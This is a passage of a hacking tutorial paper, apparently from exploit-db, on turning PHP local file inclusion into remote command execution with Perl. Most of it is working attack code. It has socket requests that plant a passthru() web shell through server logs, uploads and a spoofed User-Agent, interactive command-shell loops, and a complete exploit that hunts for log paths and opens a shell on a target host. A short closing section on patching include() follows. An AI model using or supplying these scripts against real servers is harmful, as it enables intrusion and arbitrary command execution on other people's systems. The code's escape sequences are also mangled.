  • 7. Vulnerability analysis, Security Papers, Exploit Tutorials http://www.exploit-db.com/papers/12992/ print "n"; print $response->content; [End code]------------------------------------------------------------------------------ ++++++++++++++++++++++++++++++++++++++++++ [0x03c] - Condition to use Socket or LWP ++++++++++++++++++++++++++++++++++++++++++ As you can see above, Socket and LWP can send http request to server. But we have only a few conditions to dicide to use Socket or LWP. 1: We will use Socket when, - We do not want http response. (Only inject http request packet to server) - We do not want http request to be encoded. (If we send get method with LWP, the HTTP request will be URL Encoded) 2: We will use LWP when, - We want http response. (It will be stored in HTTP::Response object) - Other condition ;D (We think it is more convenient to us than Socket) ###################################################### [0x04] - Writing LFI <> RCE Exploit with Perl Script ###################################################### ++++++++++++++++++++++++++++++++++++++++++++++++++++++ [0x04a] - Perl Exploit to Injecting code into Target ++++++++++++++++++++++++++++++++++++++++++++++++++++++ We can inject our php code to server in many ways as I mention above. The rest that we have to work with is creating perl script to do our task. To create perl script to send malicious request, we will use socket to help this part. Before writing perl script, we have to know which file we will inject code into and how to do that. [+] Inject via logfile Logfiles are written when there is a request to a file on server. Thus we can manipulate http request in order to inject malicious code. Example: [code]---------------------------------------------------------------------------------- $socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$host", PeerPort=>"80"); print $socket "GET /cwhunderground <? passthru($_GET[cmd]); ?> HTTP/1.1rn"; print $socket "host: 192.168.0.111rn"; print $socket "Connection: closernrn"; close ($socket); [End code]------------------------------------------------------------------------------ [+] Inject via Other files In some websites, they allow us to upload files. If we know the path to uploaded file, we can use LFI vulnerability to execute command in our uploaded file. Example: [code]---------------------------------------------------------------------------------- $socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$host", PeerPort=>"80"); print $socket "POST /uploadsave.php HTTP/1.1rn"; print $socket "host: 192.168.0.111rn"; print $socket "Content-Type: multipart/form-data; boundary=CwHCwHrn"; print $socket "--CwHCwHrn"; print $socket "Content-Disposition: form-data; name="shell.cwh"; filename="shell.cwh"rn"; print $socket "Content-Type: application/ziprnrn"; print $socket "<? passthru($_GET[cmd]); ?>n"; print $socket "--CwHCwHrn"; close ($socket); [End code]------------------------------------------------------------------------------ [+] Inject via process environment In process environment file, there is user agent of using browser as a part of content. Therefore we can inject malicious code by spoofing user agent. Example: [code]---------------------------------------------------------------------------------- $socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$host", PeerPort=>"80"); print $socket "GET /index.php HTTP/1.1rn"; print $socket "host: 192.168.0.111rn"; print $socket "User-Agent: <? passthru($_GET[cmd]); ?>rn"; print $socket "Connection: closernrn"; close ($socket); [End code]------------------------------------------------------------------------------ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ [0x04b] - Perl Exploit to Executing injected code on Target 7 of 10 12/24/10 5:45 PM
  • 8. Vulnerability analysis, Security Papers, Exploit Tutorials http://www.exploit-db.com/papers/12992/ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ As previous section, we can inject malicious code into some files on server by example code. In this section, we will show how to create script to execute our code on server. So, we have to bring the concept from section 0x03b about LWP library. (We choose to use LWP because we need http response to show result from execution of our code) [+] Execute code from logfile [code]---------------------------------------------------------------------------------- use LWP; use HTTP::Request; $logfile = "../../../../var/log/httpd/access.log"; <-- We must specify Logfile locations ## looping for execute command and exit program when command = exit ## print "cwh-shell# "; chomp( $cmd = <STDIN> ); while($cmd !~ "exit") { $content = ""; $request = HTTP::Request->new (GET => "http://192.168.0.111/path/to/lfi.php?file=".$logfile."%00&cmd=".$cmd); $ua = LWP::UserAgent->new(); $response = $ua->request ($request); $content = $response->content; print $content."n"; print "cwh-shell# "; chomp( $cmd = <STDIN> ); } [End code]------------------------------------------------------------------------------ [+] Execute code from Other files I assume that the uploaded file is ../../../path/to/uploaded/file/shell.cwh . We will get RCE script like this. [code]---------------------------------------------------------------------------------- use LWP; use HTTP::Request; $uploadedfile = "../../../path/to/uploaded/file/shell.cwh"; ## looping for execute command and exit program when command = exit ### print "cwh-shell# "; chomp( $cmd = <STDIN> ); while($cmd !~ "exit") { $content = ""; $request = HTTP::Request->new (GET => "http://192.168.0.111/path/to/lfi.php?file=".$uploadedfile."%00&cmd=".$cmd); $ua = LWP::UserAgent->new(); $response = $ua->request ($request); $content = $response->content; print $content."n"; print "cwh-shell# "; chomp( $cmd = <STDIN> ); } [End code]------------------------------------------------------------------------------ [+] Execute code from process environment The injected process environment file is /proc/self/environ. So, we have to traversal back to root path by using ../../ [code]---------------------------------------------------------------------------------- use LWP; use HTTP::Request; $procenviron = "../../../../../../proc/self/environ"; ## looping for execute command and exit program when command = exit ## print "cwh-shell# "; chomp( $cmd = <STDIN> ); while($cmd !~ "exit") { $content = ""; $request = HTTP::Request->new (GET => "http://192.168.0.111/path/to/lfi.php?file=".$procenviron."%00&cmd=".$cmd); $ua = LWP::UserAgent->new(); $response = $ua->request ($request); $content = $response->content; print $content."n"; print "cwh-shell# "; chomp( $cmd = <STDIN> ); } [End code]------------------------------------------------------------------------------ Finally, as you can see from three codes above, the code to loop for execute command is the same. The difference is how to find a path of injected file. +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ [0x04c] - LFI <> RCE Complete Exploit [Use Logfile Injection] 8 of 10 12/24/10 5:45 PM
  • 9. Vulnerability analysis, Security Papers, Exploit Tutorials http://www.exploit-db.com/papers/12992/ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ In order to execute code from logfile, we have a problem that we do not know the exact path of logfile. So we have to find path by looping through the fesible paths that we have and see which file contain the word "cwhunderground" as we inject in previous example code. Simple Code for LFI <> RCE Exploit: [code]---------------------------------------------------------------------------------- use LWP::UserAgent; use IO::Socket; use LWP::Simple; $log="../"; @apache=( "../../../../../var/log/httpd/access_log", "../apache/logs/access.log", "../../apache/logs/access.log", "../../../apache/logs/access.log", "../../../../apache/logs/access.log", "../../../../../apache/logs/access.log", "../logs/access.log", "../../logs/access.log", "../../../logs/access.log", "../../../../logs/access.log", "../../../../../logs/access.log", "../../../../../etc/httpd/logs/access_log", "../../../../../etc/httpd/logs/access.log", "../../.. /../../var/www/logs/access_log", "../../../../../var/www/logs/access.log", "../../../../../usr/local/apache/logs/access_log", "../../../../../usr/local/apache/logs/access.log", "../../../../../var/log/apache/access_log", "../../../../../var/log/apache/access.log", "../../../../../var/log/access_log", "../../../../../var/log/access_log" ); my $sis="$^O";if ($sis eq 'MSWin32') { system("cls"); } else { system("clear"); } print "n==========================================n"; print " LFI to RCE Exploit n"; print " By CWH Underground n"; print "==========================================n"; if (@ARGV < 2) { print "Usage: ./xpl.pl <Host> <Path>n"; print "Ex. ./xpl.pl www.hackme.com /ktp/index.php?page=n"; } $host=$ARGV[0]; $path=$ARGV[1]; if ( $host =~ /^http:/ ) {$host =~ s/http:////g;} print "nTrying to Inject the Code...n"; $CODE="<?php if(get_magic_quotes_gpc()){ $_GET[cmd]=stripslashes($_GET[cmd]);} passthru($_GET[cmd]);?>"; $socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$host", PeerPort=>"80") or die "Could not connect to host.nn"; print $socket "GET /cwhunderground "."##%$$%##".$CODE."##%$$%##"." HTTP/1.1rn"; print $socket "Host: ".$host."rn"; print $socket "Connection: closernrn"; close($socket); if ( $host !~ /^http:/ ) {$host = "http://" . $host;} foreach $getlog(@apache) { chomp($getlog); $find= $host.$path.$getlog."%00"; $xpl = LWP::UserAgent->new() or die "Could not initialize browsern"; $req = HTTP::Request->new(GET => $find); $res = $xpl->request($req); $info = $res->content; if($info =~ /cwhunderground/) {print "nSuccessfully injected in $getlog n";$log=$getlog;} } print "cwh-shell# "; chomp( $cmd = <STDIN> ); while($cmd !~ "exit") { $shell= $host.$path.$log."%00&cmd=$cmd"; $xpl = LWP::UserAgent->new() or die "Could not initialize browsern"; $req = HTTP::Request->new(GET => $shell); $res = $xpl->request($req); $info = $res->content; if ($info =~ /##%$$%##(.*?)##%$$%##/sg) {print $1;} print "cwh-shell# "; chomp( $cmd = <STDIN> ); } 9 of 10 12/24/10 5:45 PM
  • 10. Vulnerability analysis, Security Papers, Exploit Tutorials http://www.exploit-db.com/papers/12992/ [End code]------------------------------------------------------------------------------ ######################################## [0x05] - How to protect File Inclusion ######################################## - Consider implementing a chroot jail - Check user supplied files or filenames - Strongly validate user input, Ensure that all variables are properly initialized prior to the first use - Disable allow_url_fopen and allow_url_include - Disable register_globals and use E_STRICT to find uninitialized variables - Ensure that all file and stream functions (stream_*) are carefully vetted - To avoid being injected with remote files, it is essential to specify exactly where the file should be located, e.g. its full path - Secure Code, If you want to use include() function, For example: // Vulnerable Code !! [code]---------------------------------------------------------------------------------- <?php $file =$_GET['page']; include($file); ?> [End code]------------------------------------------------------------------------------ // #1 Patching Code !! [code]---------------------------------------------------------------------------------- <?php include "./new.php"; <-- Should not use file name from $_GET content, ?> Always specify your files to include [End code]------------------------------------------------------------------------------ // #2 Patching Code !! [code]---------------------------------------------------------------------------------- <?php $file =$_GET['page']; $check = array('index.php', 'new.php', 'guestbook.php'); if(in_array($file, $check)) <-- Check $_GET['page'] from array[] {include($file);} else{die("Don't Hack Me Plz!");} ?> [End code]------------------------------------------------------------------------------ ##################### [0x06] - References ##################### [1] http://en.wikipedia.org/wiki/Remote_File_Inclusion [2] http://cwe.mitre.org/data/definitions/98.html [3] hakin9: Remote and File Inclusion Explained (Gordon Johnson) [4] http://www.perl.com/pub/a/2002/08/20/perlandlwp.html [5] www.owasp.org/index.php/PHP_Top_5 [6] www.milw0rm.com #################### [0x07] - Greetz To #################### Greetz : ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos, Gdiupo, GnuKDE, JK Special Thx : asylu3, str0ke, citec.us, milw0rm.com ---------------------------------------------------- This paper is written for Educational purpose only. The authors are not responsible for any damage originating from using this paper in wrong objective. If you want to use this knowleadge with other person systems, you must request for consent from system owner before ---------------------------------------------------- # milw0rm.com [2008-12-08] © Offensive Security 2010 10 of 10 12/24/10 5:45 PM